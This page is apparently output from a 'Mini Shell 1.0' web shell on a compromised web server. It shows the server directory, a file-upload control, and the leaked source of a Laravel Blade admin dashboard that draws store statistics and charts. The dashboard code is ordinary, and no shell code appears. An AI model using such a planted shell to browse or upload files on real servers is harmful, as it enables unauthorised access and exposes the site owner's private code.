HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /var/www/devs.lapieza.net/resources/views/backend/
Upload File :
Current File : /var/www/devs.lapieza.net/resources/views/backend/dashboard.blade.php
@extends('backend.layouts.app')



@section('content')

    @if (auth()->user()->can('smtp_settings') &&

            env('MAIL_USERNAME') == null &&

            env('MAIL_PASSWORD') == null)

        <div class="">

            <div class="alert alert-danger d-flex align-items-center">

                {{ translate('Please Configure SMTP Setting to work all email sending functionality') }},

                <a class="alert-link ml-2" href="{{ route('smtp_settings.index') }}">{{ translate('Configure Now') }}</a>

            </div>

        </div>

    @endif

    @can('admin_dashboard')

        <div class="row gutters-10">

            <div class="col-lg-6">

                <div class="row gutters-10">

                    <div class="col-6">

                        <div class="bg-grad-2 text-white rounded-15p mb-4 overflow-hidden">

                            <div class="px-3 pt-3">

                                <div class="opacity-50">

                                    <span class="fs-12 d-block">{{ translate('Total') }}</span>

                                    {{ translate('Customer') }}

                                </div>

                                <div class="h3 fw-700 mb-3">

                                    {{ \App\Models\User::where('user_type', 'customer')->where('email_verified_at', '!=', null)->count() }}

                                </div>

                            </div>

                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1440 320">

                                <path fill="rgba(255,255,255,0.3)" fill-opacity="1"

                                    d="M0,128L34.3,112C68.6,96,137,64,206,96C274.3,128,343,224,411,250.7C480,277,549,235,617,213.3C685.7,192,754,192,823,181.3C891.4,171,960,149,1029,117.3C1097.1,85,1166,43,1234,58.7C1302.9,75,1371,149,1406,186.7L1440,224L1440,320L1405.7,320C1371.4,320,1303,320,1234,320C1165.7,320,1097,320,1029,320C960,320,891,320,823,320C754.3,320,686,320,617,320C548.6,320,480,320,411,320C342.9,320,274,320,206,320C137.1,320,69,320,34,320L0,320Z">

                                </path>

                            </svg>

                        </div>

                    </div>

                    <div class="col-6">

                        <div class="bg-grad-3 text-white rounded-15p mb-4 overflow-hidden">

                            <div class="px-3 pt-3">

                                <div class="opacity-50">

                                    <span class="fs-12 d-block">{{ translate('Total') }}</span>

                                    {{ translate('Order') }}

                                </div>

                                <div class="h3 fw-700 mb-3">{{ \App\Models\Order::count() }}</div>

                            </div>

                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1440 320">

                                <path fill="rgba(255,255,255,0.3)" fill-opacity="1"

                                    d="M0,128L34.3,112C68.6,96,137,64,206,96C274.3,128,343,224,411,250.7C480,277,549,235,617,213.3C685.7,192,754,192,823,181.3C891.4,171,960,149,1029,117.3C1097.1,85,1166,43,1234,58.7C1302.9,75,1371,149,1406,186.7L1440,224L1440,320L1405.7,320C1371.4,320,1303,320,1234,320C1165.7,320,1097,320,1029,320C960,320,891,320,823,320C754.3,320,686,320,617,320C548.6,320,480,320,411,320C342.9,320,274,320,206,320C137.1,320,69,320,34,320L0,320Z">

                                </path>

                            </svg>

                        </div>

                    </div>

                    <div class="col-6">

                        <div class="bg-grad-1 text-white rounded-15p mb-4 overflow-hidden">

                            <div class="px-3 pt-3">

                                <div class="opacity-50">

                                    <span class="fs-12 d-block">{{ translate('Total') }}</span>

                                    {{ translate('Product category') }}

                                </div>

                                <div class="h3 fw-700 mb-3">{{ \App\Models\Category::count() }}</div>

                            </div>

                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1440 320">

                                <path fill="rgba(255,255,255,0.3)" fill-opacity="1"

                                    d="M0,128L34.3,112C68.6,96,137,64,206,96C274.3,128,343,224,411,250.7C480,277,549,235,617,213.3C685.7,192,754,192,823,181.3C891.4,171,960,149,1029,117.3C1097.1,85,1166,43,1234,58.7C1302.9,75,1371,149,1406,186.7L1440,224L1440,320L1405.7,320C1371.4,320,1303,320,1234,320C1165.7,320,1097,320,1029,320C960,320,891,320,823,320C754.3,320,686,320,617,320C548.6,320,480,320,411,320C342.9,320,274,320,206,320C137.1,320,69,320,34,320L0,320Z">

                                </path>

                            </svg>

                        </div>

                    </div>

                    <div class="col-6">

                        <div class="bg-grad-4 text-white rounded-15p mb-4 overflow-hidden">

                            <div class="px-3 pt-3">

                                <div class="opacity-50">

                                    <span class="fs-12 d-block">{{ translate('Total') }}</span>

                                    {{ translate('Product brand') }}

                                </div>

                                <div class="h3 fw-700 mb-3">{{ \App\Models\Brand::count() }}</div>

                            </div>

                            <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1440 320">

                                <path fill="rgba(255,255,255,0.3)" fill-opacity="1"

                                    d="M0,128L34.3,112C68.6,96,137,64,206,96C274.3,128,343,224,411,250.7C480,277,549,235,617,213.3C685.7,192,754,192,823,181.3C891.4,171,960,149,1029,117.3C1097.1,85,1166,43,1234,58.7C1302.9,75,1371,149,1406,186.7L1440,224L1440,320L1405.7,320C1371.4,320,1303,320,1234,320C1165.7,320,1097,320,1029,320C960,320,891,320,823,320C754.3,320,686,320,617,320C548.6,320,480,320,411,320C342.9,320,274,320,206,320C137.1,320,69,320,34,320L0,320Z">

                                </path>

                            </svg>

                        </div>

                    </div>

                </div>

            </div>



            <div class="col-lg-6">

                <div class="row gutters-10">

                    <div class="col-6">

                        <div class="card rounded-15p">

                            <div class="card-header">

                                <h6 class="mb-0 fs-14">{{ translate('Products') }}</h6>

                            </div>

                            <div class="card-body">

                                <canvas id="pie-1" class="w-100" height="305"></canvas>

                            </div>

                        </div>

                    </div>

                    <div class="col-6">

                        <div class="card rounded-15p">

                            <div class="card-header">

                                <h6 class="mb-0 fs-14">{{ translate('Sellers') }}</h6>

                            </div>

                            <div class="card-body">

                                <canvas id="pie-2" class="w-100" height="305"></canvas>

                            </div>

                        </div>

                    </div>

                </div>

            </div>

        </div>



        <div class="row gutters-10">

            <div class="col-md-6">

                <div class="card rounded-15p">

                    <div class="card-header">

                        <h6 class="mb-0 fs-14">{{ translate('Category wise product sale') }}</h6>

                    </div>

                    <div class="card-body">

                        <canvas id="graph-1" class="w-100" height="500"></canvas>

                    </div>

                </div>

            </div>

            <div class="col-md-6">

                <div class="card rounded-15p">

                    <div class="card-header">

                        <h6 class="mb-0 fs-14">{{ translate('Category wise product stock') }}</h6>

                    </div>

                    <div class="card-body">

                        <canvas id="graph-2" class="w-100" height="500"></canvas>

                    </div>

                </div>

            </div>

        </div>



        <div class="card rounded-15p">

            <div class="card-header">

                <h6 class="mb-0">{{ translate('Top 12 Products') }}</h6>

            </div>

            <div class="card-body">

                <div class="aiz-carousel gutters-10 half-outside-arrow" data-items="6" data-xl-items="5" data-lg-items="4"

                    data-md-items="3" data-sm-items="2" data-arrows='true'>

                    @foreach (filter_products(\App\Models\Product::where('published', 1)->orderBy('num_of_sale', 'desc'))->limit(12)->get() as $key => $product)

                        <div class="carousel-box">

                            <div

                                class="aiz-card-box border border-light rounded shadow-sm hov-shadow-md mb-2 has-transition bg-white rounded-15p">

                                <div class="position-relative">

                                    <a href="{{ route('product', $product->slug) }}" class="d-block">

                                        <img class="img-fit lazyload mx-auto h-210px"

                                            src="{{ static_asset('assets/img/placeholder.jpg') }}"

                                            data-src="{{ uploaded_asset($product->thumbnail_img) }}"

                                            alt="{{ $product->getTranslation('name') }}"

                                            onerror="this.onerror=null;this.src='{{ static_asset('assets/img/placeholder.jpg') }}';">

                                    </a>

                                </div>

                                <div class="p-md-3 p-2 text-left">

                                    <div class="fs-15">

                                        @if (home_base_price($product) != home_discounted_base_price($product))

                                            <del class="fw-600 opacity-50 mr-1">{{ home_base_price($product) }}</del>

                                        @endif

                                        <span class="fw-700 text-primary">{{ home_discounted_base_price($product) }}</span>

                                    </div>

                                    <div class="rating rating-sm mt-1">

                                        {{ renderStarRating($product->rating) }}

                                    </div>

                                    <h3 class="fw-600 fs-13 text-truncate-2 lh-1-4 mb-0">

                                        <a href="{{ route('product', $product->slug) }}"

                                            class="d-block text-reset">{{ $product->getTranslation('name') }}</a>

                                    </h3>

                                </div>

                            </div>

                        </div>

                    @endforeach

                </div>

            </div>

        </div>

    @endcan

@endsection

@section('script')

    <script type="text/javascript">

        AIZ.plugins.chart('#pie-1', {

            type: 'doughnut',

            data: {

                labels: [

                    '{{ translate('Total published products') }}',

                    '{{ translate('Total sellers products') }}',

                    '{{ translate('Total admin products') }}'

                ],

                datasets: [{

                    data: [

                        {{ \App\Models\Product::where('published', 1)->count() }},

                        {{ \App\Models\Product::where('published', 1)->where('added_by', 'seller')->count() }},

                        {{ \App\Models\Product::where('published', 1)->where('added_by', 'admin')->count() }}

                    ],

                    backgroundColor: [

                        "#fd3995",

                        "#34bfa3",

                        "#5d78ff",

                        '#fdcb6e',

                        '#d35400',

                        '#8e44ad',

                        '#006442',

                        '#4D8FAC',

                        '#CA6924',

                        '#C91F37'

                    ]

                }]

            },

            options: {

                cutoutPercentage: 70,

                legend: {

                    labels: {

                        fontFamily: 'Poppins',

                        boxWidth: 10,

                        usePointStyle: true

                    },

                    onClick: function() {

                        return '';

                    },

                    position: 'bottom'

                }

            }

        });



        AIZ.plugins.chart('#pie-2', {

            type: 'doughnut',

            data: {

                labels: [

                    '{{ translate('Total sellers') }}',

                    '{{ translate('Total approved sellers') }}',

                    '{{ translate('Total pending sellers') }}'

                ],

                datasets: [{

                    data: [

                        {{ \App\Models\Shop::count() }},

                        {{ \App\Models\Shop::where('verification_status', 1)->count() }},

                        {{ \App\Models\Shop::where('verification_status', 0)->count() }}

                    ],

                    backgroundColor: [

                        "#fd3995",

                        "#34bfa3",

                        "#5d78ff",

                        '#fdcb6e',

                        '#d35400',

                        '#8e44ad',

                        '#006442',

                        '#4D8FAC',

                        '#CA6924',

                        '#C91F37'

                    ]

                }]

            },

            options: {

                cutoutPercentage: 70,

                legend: {

                    labels: {

                        fontFamily: 'Montserrat',

                        boxWidth: 10,

                        usePointStyle: true

                    },

                    onClick: function() {

                        return '';

                    },

                    position: 'bottom'

                }

            }

        });

        AIZ.plugins.chart('#graph-1', {

            type: 'bar',

            data: {

                labels: [

                    @foreach ($root_categories as $key => $category)

                        '{{ $category->getTranslation('name') }}',

                    @endforeach

                ],

                datasets: [{

                    label: '{{ translate('Number of sale') }}',

                    data: [

                        {{ $cached_graph_data['num_of_sale_data'] }}

                    ],

                    backgroundColor: [

                        @foreach ($root_categories as $key => $category)

                            'rgba(55, 125, 255, 0.4)',

                        @endforeach

                    ],

                    borderColor: [

                        @foreach ($root_categories as $key => $category)

                            'rgba(55, 125, 255, 1)',

                        @endforeach

                    ],

                    borderWidth: 1

                }]

            },

            options: {

                scales: {

                    yAxes: [{

                        gridLines: {

                            color: '#f2f3f8',

                            zeroLineColor: '#f2f3f8'

                        },

                        ticks: {

                            fontColor: "#8b8b8b",

                            fontFamily: 'Poppins',

                            fontSize: 10,

                            beginAtZero: true

                        }

                    }],

                    xAxes: [{

                        gridLines: {

                            color: '#f2f3f8'

                        },

                        ticks: {

                            fontColor: "#8b8b8b",

                            fontFamily: 'Poppins',

                            fontSize: 10

                        }

                    }]

                },

                legend: {

                    labels: {

                        fontFamily: 'Poppins',

                        boxWidth: 10,

                        usePointStyle: true

                    },

                    onClick: function() {

                        return '';

                    },

                }

            }

        });

        AIZ.plugins.chart('#graph-2', {

            type: 'bar',

            data: {

                labels: [

                    @foreach ($root_categories as $key => $category)

                        '{{ $category->getTranslation('name') }}',

                    @endforeach

                ],

                datasets: [{

                    label: '{{ translate('Number of Stock') }}',

                    data: [

                        {{ $cached_graph_data['qty_data'] }}

                    ],

                    backgroundColor: [

                        @foreach ($root_categories as $key => $category)

                            'rgba(253, 57, 149, 0.4)',

                        @endforeach

                    ],

                    borderColor: [

                        @foreach ($root_categories as $key => $category)

                            'rgba(253, 57, 149, 1)',

                        @endforeach

                    ],

                    borderWidth: 1

                }]

            },

            options: {

                scales: {

                    yAxes: [{

                        gridLines: {

                            color: '#f2f3f8',

                            zeroLineColor: '#f2f3f8'

                        },

                        ticks: {

                            fontColor: "#8b8b8b",

                            fontFamily: 'Poppins',

                            fontSize: 10,

                            beginAtZero: true

                        }

                    }],

                    xAxes: [{

                        gridLines: {

                            color: '#f2f3f8'

                        },

                        ticks: {

                            fontColor: "#8b8b8b",

                            fontFamily: 'Poppins',

                            fontSize: 10

                        }

                    }]

                },

                legend: {

                    labels: {

                        fontFamily: 'Poppins',

                        boxWidth: 10,

                        usePointStyle: true

                    },

                    onClick: function() {

                        return '';

                    },

                }

            }

        });

    </script>

@endsection